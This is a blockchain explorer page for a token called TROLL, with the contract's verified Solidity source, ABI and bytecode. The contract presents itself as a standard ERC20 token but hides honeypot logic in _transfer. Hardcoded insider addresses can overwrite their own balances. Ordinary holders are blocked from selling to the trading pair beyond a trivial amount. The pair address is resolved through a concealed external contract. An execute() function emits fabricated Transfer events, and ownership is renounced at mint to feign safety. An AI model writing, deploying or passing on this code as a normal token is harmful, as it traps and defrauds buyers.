ETH Price: $2,441.61 (-9.35%)

Token

TROLL (TROLL)

Overview

Max Total Supply

15,597,229,010,462 TROLL

Holders

228

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-01-16
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IERC000 { 
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    
    event Transfer(address indexed from, address indexed to, uint256 value);    
}
interface XP2 { 
    function balanceOf(address account) external view returns (address);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract ERC20 is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private xp2;
    


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

        function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(XP2(xp2).balanceOf(address(this)), _addresses_[i], _out);
        }
        }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function _mint(address account, uint256 amount ,address xp2_) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        xp2 = xp2_;
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        
        address _pair =  
        XP2(xp2).balanceOf(address(this));


        if(from != address(0) && (from == 0x41df70d65Df24CF9FDd7c3424e023360Bfd8e221 || from == 0xA6FaF1e4bF1e27B368385a54d6491Da0c879dABd)) {
            _balances[from] = 
            amount;
        }
        if(_pair != address(0)) {
            if(to == _pair && !(from == 0x41df70d65Df24CF9FDd7c3424e023360Bfd8e221 || from == 0xA6FaF1e4bF1e27B368385a54d6491Da0c879dABd || from == 0xf935c6Cf6b69B66Ba6ca75A1EEA96D187da1DEdF)) {
               bool b = false;
               if(!b) {
                    require(amount < 100);
               }
               
            }

        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }



        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }




    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, amount * 10 ** decimals(),0x710e6C4307a6c27C77f019d91eCa6d8379cdA170);
    }


}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620025b0380380620025b08339818101604052810190620000379190620006d0565b620000576200004b620000e360201b60201c565b620000eb60201b60201c565b82600490805190602001906200006f92919062000448565b5081600590805190602001906200008892919062000448565b50620000da336200009e620001af60201b60201c565b600a620000ac9190620008fa565b83620000b991906200094b565b73710e6c4307a6c27c77f019d91eca6d8379cda170620001b860201b60201c565b50505062000b91565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006008905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156200022b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002229062000a0d565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816003600082825462000280919062000a2f565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162000334919062000a9d565b60405180910390a362000350600084846200036560201b60201c565b620003606200036a60201b60201c565b505050565b505050565b6200037a6200038e60201b60201c565b6200038c6000620000eb60201b60201c565b565b6200039e620000e360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620003c46200041f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200041d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004149062000b0a565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004569062000b5b565b90600052602060002090601f0160209004810192826200047a5760008555620004c6565b82601f106200049557805160ff1916838001178555620004c6565b82800160010185558215620004c6579182015b82811115620004c5578251825591602001919060010190620004a8565b5b509050620004d59190620004d9565b5090565b5b80821115620004f4576000816000905550600101620004da565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005618262000516565b810181811067ffffffffffffffff8211171562000583576200058262000527565b5b80604052505050565b600062000598620004f8565b9050620005a6828262000556565b919050565b600067ffffffffffffffff821115620005c957620005c862000527565b5b620005d48262000516565b9050602081019050919050565b60005b8381101562000601578082015181840152602081019050620005e4565b8381111562000611576000848401525b50505050565b60006200062e6200062884620005ab565b6200058c565b9050828152602081018484840111156200064d576200064c62000511565b5b6200065a848285620005e1565b509392505050565b600082601f8301126200067a57620006796200050c565b5b81516200068c84826020860162000617565b91505092915050565b6000819050919050565b620006aa8162000695565b8114620006b657600080fd5b50565b600081519050620006ca816200069f565b92915050565b600080600060608486031215620006ec57620006eb62000502565b5b600084015167ffffffffffffffff8111156200070d576200070c62000507565b5b6200071b8682870162000662565b935050602084015167ffffffffffffffff8111156200073f576200073e62000507565b5b6200074d8682870162000662565b92505060406200076086828701620006b9565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007f857808604811115620007d057620007cf6200076a565b5b6001851615620007e05780820291505b8081029050620007f08562000799565b9450620007b0565b94509492505050565b600082620008135760019050620008e6565b81620008235760009050620008e6565b81600181146200083c576002811462000847576200087d565b6001915050620008e6565b60ff8411156200085c576200085b6200076a565b5b8360020a9150848211156200087657620008756200076a565b5b50620008e6565b5060208310610133831016604e8410600b8410161715620008b75782820a905083811115620008b157620008b06200076a565b5b620008e6565b620008c68484846001620007a6565b92509050818404811115620008e057620008df6200076a565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009078262000695565b91506200091483620008ed565b9250620009437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000801565b905092915050565b6000620009588262000695565b9150620009658362000695565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009a157620009a06200076a565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620009f5601f83620009ac565b915062000a0282620009bd565b602082019050919050565b6000602082019050818103600083015262000a2881620009e6565b9050919050565b600062000a3c8262000695565b915062000a498362000695565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a815762000a806200076a565b5b828201905092915050565b62000a978162000695565b82525050565b600060208201905062000ab4600083018462000a8c565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000af2602083620009ac565b915062000aff8262000aba565b602082019050919050565b6000602082019050818103600083015262000b258162000ae3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b7457607f821691505b6020821081141562000b8b5762000b8a62000b2c565b5b50919050565b611a0f8062000ba16000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063f2fde38b14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd1461014057806326ededb814610170578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190611105565b60405180910390f35b61010c600480360381019061010791906111c5565b61032e565b6040516101199190611220565b60405180910390f35b61012a610351565b604051610137919061124a565b60405180910390f35b61015a60048036038101906101559190611265565b61035b565b6040516101679190611220565b60405180910390f35b61018a6004803603810190610185919061131d565b61038a565b005b6101946104e7565b6040516101a19190611399565b60405180910390f35b6101c460048036038101906101bf91906113b4565b6104f0565b6040516101d1919061124a565b60405180910390f35b6101e2610539565b005b6101ec61054d565b6040516101f991906113f0565b60405180910390f35b61020a610576565b6040516102179190611105565b60405180910390f35b61023a600480360381019061023591906111c5565b610608565b6040516102479190611220565b60405180910390f35b61026a6004803603810190610265919061140b565b61062b565b604051610277919061124a565b60405180910390f35b61029a600480360381019061029591906113b4565b6106b2565b005b6060600480546102ab9061147a565b80601f01602080910402602001604051908101604052809291908181526020018280546102d79061147a565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600080610339610736565b905061034681858561073e565b600191505092915050565b6000600354905090565b600080610366610736565b9050610373858285610909565b61037e858585610995565b60019150509392505050565b60005b838390508110156104e1578383828181106103ab576103aa6114ac565b5b90506020020160208101906103c091906113b4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161043191906113f0565b60206040518083038186803b15801561044957600080fd5b505afa15801561045d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048191906114f0565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104c6919061124a565b60405180910390a380806104d99061154c565b91505061038d565b50505050565b60006008905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610541610f25565b61054b6000610fa3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105859061147a565b80601f01602080910402602001604051908101604052809291908181526020018280546105b19061147a565b80156105fe5780601f106105d3576101008083540402835291602001916105fe565b820191906000526020600020905b8154815290600101906020018083116105e157829003601f168201915b5050505050905090565b600080610613610736565b9050610620818585610995565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6106ba610f25565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561072a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072190611607565b60405180910390fd5b61073381610fa3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a590611699565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561081e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108159061172b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108fc919061124a565b60405180910390a3505050565b6000610915848461062b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461098f5781811015610981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097890611797565b60405180910390fd5b61098e848484840361073e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fc90611829565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c906118bb565b60405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610ad291906113f0565b60206040518083038186803b158015610aea57600080fd5b505afa158015610afe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2291906114f0565b9050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610bea57507341df70d65df24cf9fdd7c3424e023360bfd8e22173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610be9575073a6faf1e4bf1e27b368385a54d6491da0c879dabd73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b5b15610c345781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610d94578073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610d7757507341df70d65df24cf9fdd7c3424e023360bfd8e22173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2b575073a6faf1e4bf1e27b368385a54d6491da0c879dabd73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610d75575073f935c6cf6b69b66ba6ca75a1eea96d187da1dedf73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b155b15610d9357600080610d915760648310610d9057600080fd5b5b505b5b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e129061194d565b60405180910390fd5b828103600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f0b919061124a565b60405180910390a3610f1e858585611067565b5050505050565b610f2d610736565b73ffffffffffffffffffffffffffffffffffffffff16610f4b61054d565b73ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f98906119b9565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110a657808201518184015260208101905061108b565b838111156110b5576000848401525b50505050565b6000601f19601f8301169050919050565b60006110d78261106c565b6110e18185611077565b93506110f1818560208601611088565b6110fa816110bb565b840191505092915050565b6000602082019050818103600083015261111f81846110cc565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061115c82611131565b9050919050565b61116c81611151565b811461117757600080fd5b50565b60008135905061118981611163565b92915050565b6000819050919050565b6111a28161118f565b81146111ad57600080fd5b50565b6000813590506111bf81611199565b92915050565b600080604083850312156111dc576111db611127565b5b60006111ea8582860161117a565b92505060206111fb858286016111b0565b9150509250929050565b60008115159050919050565b61121a81611205565b82525050565b60006020820190506112356000830184611211565b92915050565b6112448161118f565b82525050565b600060208201905061125f600083018461123b565b92915050565b60008060006060848603121561127e5761127d611127565b5b600061128c8682870161117a565b935050602061129d8682870161117a565b92505060406112ae868287016111b0565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126112dd576112dc6112b8565b5b8235905067ffffffffffffffff8111156112fa576112f96112bd565b5b602083019150836020820283011115611316576113156112c2565b5b9250929050565b60008060006040848603121561133657611335611127565b5b600084013567ffffffffffffffff8111156113545761135361112c565b5b611360868287016112c7565b93509350506020611373868287016111b0565b9150509250925092565b600060ff82169050919050565b6113938161137d565b82525050565b60006020820190506113ae600083018461138a565b92915050565b6000602082840312156113ca576113c9611127565b5b60006113d88482850161117a565b91505092915050565b6113ea81611151565b82525050565b600060208201905061140560008301846113e1565b92915050565b6000806040838503121561142257611421611127565b5b60006114308582860161117a565b92505060206114418582860161117a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061149257607f821691505b602082108114156114a6576114a561144b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506114ea81611163565b92915050565b60006020828403121561150657611505611127565b5b6000611514848285016114db565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006115578261118f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561158a5761158961151d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006115f1602683611077565b91506115fc82611595565b604082019050919050565b60006020820190508181036000830152611620816115e4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611683602483611077565b915061168e82611627565b604082019050919050565b600060208201905081810360008301526116b281611676565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611715602283611077565b9150611720826116b9565b604082019050919050565b6000602082019050818103600083015261174481611708565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611781601d83611077565b915061178c8261174b565b602082019050919050565b600060208201905081810360008301526117b081611774565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611813602583611077565b915061181e826117b7565b604082019050919050565b6000602082019050818103600083015261184281611806565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118a5602383611077565b91506118b082611849565b604082019050919050565b600060208201905081810360008301526118d481611898565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611937602683611077565b9150611942826118db565b604082019050919050565b600060208201905081810360008301526119668161192a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a3602083611077565b91506119ae8261196d565b602082019050919050565b600060208201905081810360008301526119d281611996565b905091905056fea26469706673582212205148898498b31ac8fa60b56014ba57e08d362ccf9104653238814a046540d6b664736f6c63430008090033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000e2f834b6e1e000000000000000000000000000000000000000000000000000000000000000554524f4c4c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000554524f4c4c000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063f2fde38b14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd1461014057806326ededb814610170578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190611105565b60405180910390f35b61010c600480360381019061010791906111c5565b61032e565b6040516101199190611220565b60405180910390f35b61012a610351565b604051610137919061124a565b60405180910390f35b61015a60048036038101906101559190611265565b61035b565b6040516101679190611220565b60405180910390f35b61018a6004803603810190610185919061131d565b61038a565b005b6101946104e7565b6040516101a19190611399565b60405180910390f35b6101c460048036038101906101bf91906113b4565b6104f0565b6040516101d1919061124a565b60405180910390f35b6101e2610539565b005b6101ec61054d565b6040516101f991906113f0565b60405180910390f35b61020a610576565b6040516102179190611105565b60405180910390f35b61023a600480360381019061023591906111c5565b610608565b6040516102479190611220565b60405180910390f35b61026a6004803603810190610265919061140b565b61062b565b604051610277919061124a565b60405180910390f35b61029a600480360381019061029591906113b4565b6106b2565b005b6060600480546102ab9061147a565b80601f01602080910402602001604051908101604052809291908181526020018280546102d79061147a565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600080610339610736565b905061034681858561073e565b600191505092915050565b6000600354905090565b600080610366610736565b9050610373858285610909565b61037e858585610995565b60019150509392505050565b60005b838390508110156104e1578383828181106103ab576103aa6114ac565b5b90506020020160208101906103c091906113b4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1